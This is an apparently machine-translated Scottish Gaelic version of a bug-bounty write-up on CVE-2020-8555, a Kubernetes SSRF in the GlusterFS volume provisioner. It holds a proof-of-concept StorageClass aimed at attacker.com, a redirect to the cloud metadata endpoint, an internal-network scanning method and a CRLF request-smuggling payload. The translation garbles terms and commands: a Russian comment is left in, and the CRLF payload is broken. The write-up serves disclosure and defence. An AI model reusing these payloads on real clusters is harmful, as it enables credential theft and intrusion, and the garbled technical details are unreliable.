Nuair nach eil e dìreach mu dheidhinn so-leòntachd Kubernetes ...

Thoir an aire. eadar-theangachadh.: bidh ùghdaran an artaigil seo a’ bruidhinn gu mionaideach air mar a fhuair iad air faighinn a-mach an so-leòntachd CVE-2020 – 8555 ann an Kubernetes. Ged nach robh e coltach gu robh e gu math cunnartach an toiseach, an co-bhonn ri factaran eile bha e deatamach gun robh e cho cudromach airson cuid de sholaraichean sgòthan. Thug grunn bhuidhnean duais fialaidh dha na h-eòlaichean airson an cuid obrach.

Nuair nach eil e dìreach mu dheidhinn so-leòntachd Kubernetes ...

Cò sinn

Tha sinn nar dithis luchd-rannsachaidh tèarainteachd Frangach a lorg le chèile so-leòntachd ann an Kubernetes. Is e Brice Augras agus Christophe Hauquiert na h-ainmean a th’ againn, ach air iomadh àrd-ùrlar Bug Bounty tha sinn air ainmeachadh mar Reeverzax agus Hach fa leth:

Dè a thachair?

Is e an artaigil seo an dòigh againn air a bhith a’ roinn mar a thionndaidh pròiseact rannsachaidh àbhaisteach gun dùil gu bhith na dhàn-thuras as inntinniche ann am beatha sealgairean bhiast (co-dhiù airson a-nis).

Mar is dòcha gu bheil fios agad, tha dà fheart sònraichte aig sealgairean bhiast:

  • bidh iad a 'fuireach air piotsa agus lionn;
  • bidh iad ag obair nuair a tha a h-uile duine eile nan cadal.

Chan eil sinn mar eisgeachd air na riaghailtean seo: mar as trice bidh sinn a’ coinneachadh air deireadh-sheachdainean agus a’ caitheamh oidhcheannan gun chadal a’ slaodadh. Ach thàinig aon de na h-oidhcheannan sin gu crìch ann an dòigh gu math neo-àbhaisteach.

An toiseach bha sinn a’ dol a choinneachadh gus beachdachadh air com-pàirteachadh ann CTF an ath latha. Rè còmhradh mu thèarainteachd Kubernetes ann an àrainneachd seirbheis stiùirichte, chuimhnich sinn air an t-seann bheachd air SSRF (Faochadh Iarrtas Taobh an Fhrithealaiche) agus cho-dhùin e feuchainn air a chleachdadh mar sgriobt ionnsaigh.

Aig 11f shuidh sinn sìos airson ar rannsachadh a dhèanamh agus chaidh sinn dhan leabaidh tràth sa mhadainn, glè riaraichte leis na toraidhean. Is ann air sgàth an rannsachaidh seo a thàinig sinn tarsainn air prògram MSRC Bug Bounty agus thàinig sinn suas le buannachd àrdachadh sochair.

Chaidh grunn sheachdainean / mhìosan seachad, agus thug an toradh ris nach robh dùil againn aon de na duaisean as àirde ann an eachdraidh Azure Cloud Bug Bounty - a bharrachd air an fhear a fhuair sinn bho Kubernetes!

Stèidhichte air a’ phròiseact rannsachaidh againn, dh’ fhoillsich Comataidh Tèarainteachd Bathar Kubernetes CVE-2020 – 8555.

A-nis bu mhath leam fiosrachadh a sgaoileadh mun so-leòntachd a chaidh a lorg cho mòr ‘s as urrainn. Tha sinn an dòchas gun cuir thu meas air an lorg agus gun roinn thu am mion-fhiosrachadh teicnigeach le buill eile den choimhearsnachd infosec!

Mar sin seo an sgeulachd againn...

Co-theacs

Gus am mothachadh as fheàrr a dhèanamh air na thachair, leig dhuinn an toiseach coimhead air mar a tha Kubernetes ag obair ann an àrainneachd air a riaghladh le sgòthan.

Nuair a chuireas tu cruinneachadh Kubernetes sa bhad ann an àrainneachd mar sin, mar as trice tha an ìre riaghlaidh an urra ris an t-solaraiche sgòthan:

Nuair nach eil e dìreach mu dheidhinn so-leòntachd Kubernetes ...
Tha an ìre smachd suidhichte aig iomall an t-solaraiche sgòthan, fhad ‘s a tha na nodan Kubernetes suidhichte aig iomall an neach-ceannach.

Gus tomhas-lìonaidh a riarachadh gu dinamach, thathas a’ cleachdadh inneal gus an solar gu dinamach bho backend stòraidh a-muigh agus an coimeas ri PVC (tagradh meud leantainneach, i.e. iarrtas airson tomhas-lìonaidh).

Mar sin, às deidh don PVC a bhith air a chruthachadh agus air a cheangal ris an StorageClass ann am buidheann K8s, tha manaidsear smachd kube / sgòthan a’ gabhail thairis gnìomhan eile gus an tomhas-lìonaidh a thoirt seachad (tha an dearbh ainm aige an urra ris an fhoillseachadh). (Thoir an aire. eadar-theangachadh.: Tha sinn mu thràth air barrachd a sgrìobhadh mu CCM a’ cleachdadh an eisimpleir de a bhuileachadh airson aon de na solaraichean sgòthan an seo.)

Tha grunn sheòrsaichean de sholaraichean ann le taic bho Kubernetes: tha a’ mhòr-chuid dhiubh air an toirt a-steach cridhe orchestrator, agus cuid eile air an riaghladh le luchd-solair a bharrachd a tha air an cur ann am pods anns a’ bhuidheann.

Anns an rannsachadh againn, chuir sinn fòcas air an uidheamachd solarachaidh meud a-staigh, a chithear gu h-ìosal:

Nuair nach eil e dìreach mu dheidhinn so-leòntachd Kubernetes ...
Solarachadh fiùghantach de mheudan a’ cleachdadh an t-solaraiche Kubernetes a chaidh a thogail a-steach

Ann an ùine ghoirid, nuair a thèid Kubernetes a chleachdadh ann an àrainneachd stiùirichte, tha am manaidsear smachd an urra ris an t-solaraiche sgòthan, ach tha an t-iarrtas cruthachadh meud (àireamh 3 san dealbh gu h-àrd) a’ fàgail lìonra a-staigh an t-solaraiche sgòthan. Agus seo far am fàs cùisean gu math inntinneach!

Sgeama hacking

Anns an earrainn seo, mìnichidh sinn mar a ghabh sinn brath air an t-sruth-obrach a chaidh ainmeachadh gu h-àrd agus mar a fhuair sinn cothrom air goireasan a-staigh an t-solaraiche seirbheis sgòthan. Seallaidh e dhut cuideachd mar as urrainn dhut gnìomhan sònraichte a dhèanamh, leithid faighinn teisteanasan taobh a-staigh no sochairean àrdachadh.

Chuidich aon làimhseachadh sìmplidh (anns a’ chùis seo, Forgery Request Side Service) le bhith a’ dol nas fhaide na àrainneachd an luchd-cleachdaidh gu buidhnean de dhiofar sholaraichean seirbheis fo stiùireadh K8n.

Anns an rannsachadh againn chuir sinn fòcas air an t-solaraiche GlusterFS. A dh 'aindeoin gu bheil an sreath eile de ghnìomhan air a mhìneachadh sa cho-theacsa seo, tha Quobyte, StorageOS agus ScaleIO buailteach don aon so-leòntachd.

Nuair nach eil e dìreach mu dheidhinn so-leòntachd Kubernetes ...
Mì-chleachdadh uidheamachd solarachaidh meud fiùghantach

Rè mion-sgrùdadh clas stòraidh GlusterFS ann an còd stòr teachdaiche Golang tha sinn mhothaich misin air a’ chiad iarrtas HTTP (3) a chaidh a chuir aig àm cruthachadh meud, gu deireadh an URL àbhaisteach anns a’ pharamadair resturl air a chur ris /volumes.

Cho-dhùin sinn faighinn cuidhteas an t-slighe a bharrachd seo le bhith a 'cur ris # ann am paramadair resturl. Seo a’ chiad rèiteachadh YAML a chleachd sinn airson deuchainn a dhèanamh airson so-leòntachd SSRF leth-dall (faodaidh tu barrachd a leughadh mu SSRF leth-dall no leth-dall, mar eisimpleir, an seo - mu thuairmeas. eadar-theangachadh.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

An uairsin chleachd sinn am binary gus buidheann Kubernetes a riaghladh air astar cubectl. Mar as trice, bidh solaraichean sgòthan (Azure, Google, AWS, msaa) a’ toirt cothrom dhut teisteanasan fhaighinn airson an cleachdadh sa ghoireas seo.

Taing dha seo, bha e comasach dhomh am faidhle “sònraichte” agam a chleachdadh. Chuir Kube-controller-manager an gnìomh an iarrtas HTTP a thàinig às:

kubectl create -f sc-poc.yaml

Nuair nach eil e dìreach mu dheidhinn so-leòntachd Kubernetes ...
Am freagairt bho shealladh an neach-ionnsaigh

Goirid às deidh seo, bha e comasach dhuinn cuideachd freagairt HTTP fhaighinn bhon t-seirbheisiche targaid - tro na h-òrdughan describe pvc no get events anns a' chubaid. Agus gu dearbh: tha an draibhear bunaiteach Kubernetes seo ro bhriathrach anns na rabhaidhean / teachdaireachdan mearachd aige ...

Seo eisimpleir le ceangal gu https://www.google.frair a shuidheachadh mar paramadair resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Nuair nach eil e dìreach mu dheidhinn so-leòntachd Kubernetes ...

Anns an dòigh-obrach seo, bha sinn cuingealaichte ri ceistean mar POST HTTP agus cha b' urrainn dhaibh susbaint na buidhne freagairt fhaighinn nam b' e an còd tilleadh 201. Mar sin, chuir sinn romhainn rannsachadh a bharrachd a dhèanamh agus leudaich sinn an suidheachadh hacaidh seo le dòighean-obrach ùra.

Leasachadh ar rannsachadh

  • Scenario Adhartach #1: A’ cleachdadh ath-sheòladh 302 bho fhrithealaiche a-muigh gus an dòigh HTTP atharrachadh gus dòigh nas sùbailte a thoirt seachad airson dàta a-staigh a chruinneachadh.
  • Suidheachadh Adhartach # 2: Sganadh LAN gu fèin-ghluasadach agus lorg ghoireasan a-staigh.
  • Suidheachadh adhartach #3: a’ cleachdadh cùl-mhùtaireachd HTTP CRLF + (“ cùl-mhùtaireachd iarrtas ”) gus iarrtasan HTTP sònraichte a chruthachadh agus dàta fhaighinn air ais bho logaichean rianadair kube.

Sònrachaidhean Teicnigeach

  • Chleachd an rannsachadh Seirbheis Azure Kubernetes (AKS) le dreach Kubernetes 1.12 ann an roinn ceann a tuath na Roinn Eòrpa.
  • Chaidh na suidheachaidhean a chaidh a mhìneachadh gu h-àrd a chuir gu bàs air na fiosan as ùire de Kubernetes, ach a-mhàin an treas suidheachadh, oir bha feum aige air Kubernetes air a thogail le dreach Golang ≤ 1.12.
  • Frithealaiche taobh a-muigh an neach-ionnsaigh - https://attacker.com.

Scenario Adhartach #1: Ag ath-stiùireadh iarrtas HTTP POST gu FAIGHINN agus a’ faighinn dàta mothachail

Chaidh am modh tùsail a leasachadh le rèiteachadh frithealaiche an ionnsaigh tilleadh 302 HTTP Retcodegus iarrtas POST a thionndadh gu iarrtas GET (ceum 4 san diagram):

Nuair nach eil e dìreach mu dheidhinn so-leòntachd Kubernetes ...

A 'chiad iarrtas (3) a' tighinn bhon neach-dèiligidh GlusterFS (Manaidsear Stiùiridh), tha seòrsa POST aige. Le bhith a’ leantainn nan ceumannan seo bha e comasach dhuinn a thionndadh gu GET:

  • Mar paramadair resturl ann an StorageClass tha e air a chomharrachadh http://attacker.com/redirect.php.
  • Pàirt deireannach https://attacker.com/redirect.php a’ freagairt le còd inbhe 302 HTTP leis a’ Cheannard Àite a leanas: http://169.254.169.254. Faodaidh seo a bhith na ghoireas taobh a-staigh sam bith eile - sa chùis seo, tha an ceangal ath-stiùiridh air a chleachdadh mar eisimpleir a-mhàin.
  • bho thùs lìon/http leabharlann Bidh Golang ag ath-stiùireadh an iarrtais agus ag atharrachadh POST gu GET le còd inbhe 302, a’ leantainn gu iarrtas HTTP GET chun ghoireas targaid.

Gus am buidheann freagairt HTTP a leughadh feumaidh tu a dhèanamh describe Rudan PVC:

kubectl describe pvc xxx

Seo eisimpleir de fhreagairt HTTP ann an cruth JSON a b’ urrainn dhuinn fhaighinn:

Nuair nach eil e dìreach mu dheidhinn so-leòntachd Kubernetes ...

Bha comasan an so-leòntachd a chaidh a lorg aig an àm sin cuingealaichte air sgàth nam puingean a leanas:

  • Neo-chomas bannan-cinn HTTP a chuir a-steach don iarrtas a-mach.
  • Neo-chomas iarrtas POST a dhèanamh le paramadairean sa bhodhaig (tha seo goireasach gus am prìomh luach iarraidh bho eisimpleir msaa a tha a’ ruith air adhart 2379 port ma thèid HTTP gun chrioptachadh a chleachdadh).
  • Neo-chomas susbaint bodhaig freagairt fhaighinn air ais nuair a bha an còd inbhe 200 agus nach robh Seòrsa Susbaint JSON aig an fhreagairt.

Suidheachadh adhartach #2: A’ sganadh an lìonra ionadail

Chaidh an dòigh SSRF leth-dall seo a chleachdadh an uairsin gus lìonra a-staigh an t-solaraiche sgòthan a sganadh agus diofar sheirbheisean èisteachd a sgrùdadh (eisimpleir meata-dàta, Kubelet, msaa) stèidhichte air na freagairtean rianadair cube.

Nuair nach eil e dìreach mu dheidhinn so-leòntachd Kubernetes ...

An toiseach, chaidh na puirt èisteachd àbhaisteach de cho-phàirtean Kubernetes a dhearbhadh (8443, 10250, 10251, msaa), agus an uairsin dh'fheumadh sinn am pròiseas sganaidh a dhèanamh fèin-ghluasadach.

A’ faicinn gu bheil an dòigh sgrùdaidh seo gu math sònraichte agus nach eil e co-chòrdail ri sganairean clasaigeach agus innealan SSRF, chuir sinn romhainn ar luchd-obrach fhèin a chruthachadh ann an sgriobt bash a nì fèin-ghluasad air a’ phròiseas gu lèir.

Mar eisimpleir, gus an raon 172.16.0.0/12 den lìonra a-staigh a sganadh gu sgiobalta, chaidh 15 neach-obrach a chuir air bhog aig an aon àm. Chaidh an raon IP gu h-àrd a thaghadh mar eisimpleir a-mhàin agus dh’ fhaodadh gun atharraich e gu raon IP an t-solaraiche seirbheis sònraichte agad.

Gus aon sheòladh IP agus aon phort a sganadh, feumaidh tu na leanas a dhèanamh:

  • cuir às don StorageClass mu dheireadh a chaidh a dhearbhadh;
  • cuir às don Iarrtas Meud Seasmhach a chaidh a dhearbhadh roimhe;
  • atharraich na luachan IP agus Port a-steach sc.yaml;
  • cruthaich StorageClass le IP agus port ùr;
  • cruthaich PVC ùr;
  • thoir a-mach toraidhean scan a’ cleachdadh tuairisgeul airson PVC.

Suidheachadh adhartach #3: in-stealladh CRLF + cùl-mhùtaireachd HTTP ann an “seann dhreachan” de bhuidheann Kubernetes

Nam biodh a bharrachd air an seo thairg an solaraiche seann dhreachan de bhuidheann K8s do luchd-cleachdaidh и thug e dhaibh cothrom air clàran kube-controller-manaidsear, dh'fhàs a 'bhuaidh eadhon nas cudromaiche.

Tha e gu dearbh tòrr nas freagarraiche dha neach-ionnsaigh iarrtasan HTTP atharrachadh a tha air an dealbhadh gus làn fhreagairt HTTP fhaighinn mar a thogras e.

Nuair nach eil e dìreach mu dheidhinn so-leòntachd Kubernetes ...

Gus an suidheachadh mu dheireadh a chuir an gnìomh, bha e riatanach na cumhaichean a leanas a choileanadh:

  • Feumaidh cothrom a bhith aig an neach-cleachdaidh air logaichean kube-controller-manager (mar, mar eisimpleir, ann an Azure LogInsights).
  • Feumaidh buidheann Kubernetes dreach de Golang a chleachdadh nas ìsle na 1.12.

Chleachd sinn àrainneachd ionadail a bha coltach ri conaltradh eadar neach-dèiligidh GlusterFS Go agus frithealaiche targaid meallta (cha stad sinn bho bhith a’ foillseachadh am PoC airson a-nis).

Chaidh a lorg so-leòntachd, a’ toirt buaidh air dreachan Golang nas ìsle na 1.12 agus a’ leigeil le hackers ionnsaighean cùl-mhùtaireachd HTTP/CRLF a dhèanamh.

Le bhith a’ cothlamadh an SSRF leth-dall a tha air a mhìneachadh gu h-àrd вместе le seo, bha e comasach dhuinn iarrtasan a chuir gu ar toil, a’ gabhail a-steach cuir an àite cinn-cinn, modh HTTP, paramadairean agus dàta, a bha kube-controller-manaidsear an uairsin a’ giullachd.

Seo eisimpleir de “bhiadhadh” obrach ann am paramadair resturl StorageClass, a chuireas an gnìomh suidheachadh ionnsaigh coltach ris:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Is e mearachd a tha san toradh freagairt gun iarraidh, teachdaireachd mu dheidhinn a tha clàraichte ann an logaichean an rianadair. Taing do bhriathrachas air a chomasachadh gu bunaiteach, tha susbaint teachdaireachd freagairt HTTP air a shàbhaladh an sin cuideachd.

Nuair nach eil e dìreach mu dheidhinn so-leòntachd Kubernetes ...

B’ e seo ar “bhiadhadh” as èifeachdaiche taobh a-staigh frèam dearbhadh bun-bheachd.

A’ cleachdadh an dòigh-obrach seo, bha e comasach dhuinn cuid de na h-ionnsaighean a leanas a dhèanamh air cruinneachaidhean de dhiofar sholaraichean k8s stiùirichte: àrdachadh sochair le teisteanasan air suidheachaidhean meata-dàta, Master DoS tro (gun chrioptachadh) iarrtasan HTTP air prìomh eisimpleirean msaa, msaa.

Buaidh

Ann an aithris oifigeil Kubernetes a thaobh so-leòntachd an SSRF a lorg sinn, chaidh a mheas CVSS 6.3/10: CVSS:3.0/AV: N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Mura beachdaich sinn ach air an so-leòntachd a tha co-cheangailte ri iomall Kubernetes, an vectar ionracas (vector ionracas) tha e freagarrach mar Chan eil gin.

Ach, le bhith a’ measadh nam builean a dh’ fhaodadh a bhith ann an co-theacsa àrainneachd seirbheis fo stiùir (agus b’ e seo am pàirt as inntinniche den rannsachadh againn!) CVSS èiginneach 10/10 airson mòran luchd-sgaoilidh.

Gu h-ìosal tha fiosrachadh a bharrachd gus do chuideachadh le bhith a’ tuigsinn ar beachdachaidhean nuair a thathar a’ measadh na buaidhean a dh’ fhaodadh a bhith ann an àrainneachdan sgòthan:

Ionracas

  • Dèan òrdughan air astar a’ cleachdadh teisteanasan a-staigh a fhuair thu.
  • Ag ath-riochdachadh an t-suidheachaidh gu h-àrd a’ cleachdadh modh IDOR (Iomradh Rud Dìreach Neo-chinnteach) le goireasan eile a lorgar air an lìonra ionadail.

Dìomhaireachd

  • Seòrsa ionnsaigh Gluasad taobhach mar thoradh air goid teisteanasan sgòthan (mar eisimpleir, API meata-dàta).
  • A 'cruinneachadh fiosrachadh le bhith a' sganadh an lìonra ionadail (a 'dearbhadh an dreach SSH, HTTP frithealaiche dreach, ...).
  • Cruinnich eisimpleirean agus fiosrachadh bun-structair le bhith a’ bhòtadh APIan a-staigh leithid an API meata-dàta (http://169.254.169.254,…).
  • A’ goid dàta teachdaiche a’ cleachdadh teisteanasan sgòthan.

Ri fhaotainn

A h-uile brath a ghabhail air suidheachaidhean co-cheangailte ri vectaran ionnsaigh air ionracas, faodar a chleachdadh airson gnìomhan millteach agus leantainn gu prìomh shuidheachaidhean bho iomall an neach-dèiligidh (no gin eile) nach eil ri fhaighinn.

Leis gu robh sinn ann an àrainneachd K8s air a riaghladh agus a’ measadh a’ bhuaidh air ionracas, is urrainn dhuinn smaoineachadh air iomadh suidheachadh a dh’ fhaodadh buaidh a thoirt air ruigsinneachd. Tha eisimpleirean a bharrachd a’ toirt a-steach truailleadh an stòr-dàta msaa no a bhith a’ dèanamh gairm èiginneach gu Kubernetes API.

Loidhne-tìm

  • 6 Dùbhlachd, 2019: So-leòntachd air aithris gu MSRC Bug Bounty.
  • 3 Faoilleach 2020: Chuir treas phàrtaidh fios gu luchd-leasachaidh Kubernetes gu robh sinn ag obair air cùis tèarainteachd. Agus dh’ iarr iad orra beachdachadh air SSRF mar so-leòntachd a-staigh (bunaiteach). An uairsin thug sinn seachad aithisg choitcheann le mion-fhiosrachadh teicnigeach mu thùs na trioblaid.
  • 15 Faoilleach 2020: Thug sinn seachad aithisgean teignigeach agus coitcheann do luchd-leasachaidh Kubernetes air an iarrtas aca (tron àrd-ùrlar HackerOne).
  • 15 Faoilleach 2020: Thug luchd-leasachaidh Kubernetes fios dhuinn gu bheil in-stealladh SSRF + CRLF leth-dall airson fiosan a chaidh seachad roimhe air a mheas mar so-leòntachd bunaiteach. Sguir sinn sa bhad a’ dèanamh anailis air iomall solaraichean seirbheis eile: bha sgioba K8s a-nis a’ dèiligeadh ris a’ bhun-adhbhar.
  • Faoilleach 15, 2020: Duais MSRC air fhaighinn tro HackerOne.
  • 16 Faoilleach 2020: Dh’ aithnich Kubernetes PSC (Comataidh Tèarainteachd Bathar) an so-leòntachd agus dh’ iarr iad a chumail dìomhair gu meadhan a ’Mhàirt air sgàth an àireamh mhòr de luchd-fulaing a dh’ fhaodadh a bhith ann.
  • 11 Gearran, 2020: Duais VRP Google air fhaighinn.
  • 4 Màrt, 2020: Duais Kubernetes air fhaighinn tro HackerOne.
  • 15 Màrt 2020: Foillseachadh poblach clàraichte bho thùs air a chuir dheth air sgàth suidheachadh COVID-19.
  • 1 Ògmhios, 2020: Co-aithris Kubernetes + Microsoft mun so-leòntachd.

TL; DR

  • Bidh sinn ag òl lionn agus ag ithe piotsa :)
  • Lorg sinn so-leòntachd bunaiteach ann an Kubernetes, ged nach robh dùil againn sin a dhèanamh.
  • Rinn sinn mion-sgrùdadh a bharrachd air cruinneachaidhean de sholaraichean sgòthan eadar-dhealaichte agus bha e comasach dhuinn am milleadh a dh’ adhbhraich an so-leòntachd àrdachadh bònasan uamhasach a bharrachd.
  • Lorgaidh tu tòrr mion-fhiosrachadh teicnigeach san artaigil seo. Bhithinn toilichte bruidhinn riutha ribh (Twitter: @ReeverZax & @__hach_).
  • Thionndaidh e a-mach gun tug a h-uile seòrsa foirmeileachd agus aithris mòran nas fhaide na bha dùil.

iomraidhean

PS bhon eadar-theangair

Leugh cuideachd air ar blog:

Source: www.habr.com

Cuir beachd ann